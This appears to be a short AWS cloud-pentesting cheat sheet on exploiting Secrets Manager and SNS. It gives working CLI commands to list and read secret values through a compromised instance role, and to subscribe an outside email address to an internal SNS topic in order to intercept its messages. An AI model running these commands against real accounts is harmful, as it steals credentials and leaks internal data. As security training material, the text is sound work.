Secrets & Notification Services

Enumerate and exploit Secrets Manager, SNS topics, or other services that may leak sensitive data.

Secrets Manager Enumeration & Exfiltration

List All Secrets (if permitted) 

aws secretsmanager list-secrets --region us-east-1
Retrieve Secret Values 
aws secretsmanager get-secret-value \
  --secret-id <SecretName> \
  --region us-east-1

note

If a role or user attached to the instance (via IMDS) has secretsmanager:GetSecretValue, you can retrieve high-value secrets (API keys, database credentials, etc.).

Simple Notification Service (SNS) Enumeration

Identify Topic ARNs If you’ve discovered an SNS topic ARN (e.g., via Secrets Manager or CloudFormation), subscribe to it to intercept messages (which sometimes contain provisioning or “onboarding” notifications). 

aws sns list-topics --region us-east-1
Subscribe to a topic 
aws sns subscribe \
  --topic-arn arn:aws:sns:us-east-1:<ACCOUNT_ID>:Onboarding_New_Internal_Dev_Msg_01 \
  --protocol email \
  --notification-endpoint you@example.com \
  --region us-east-1
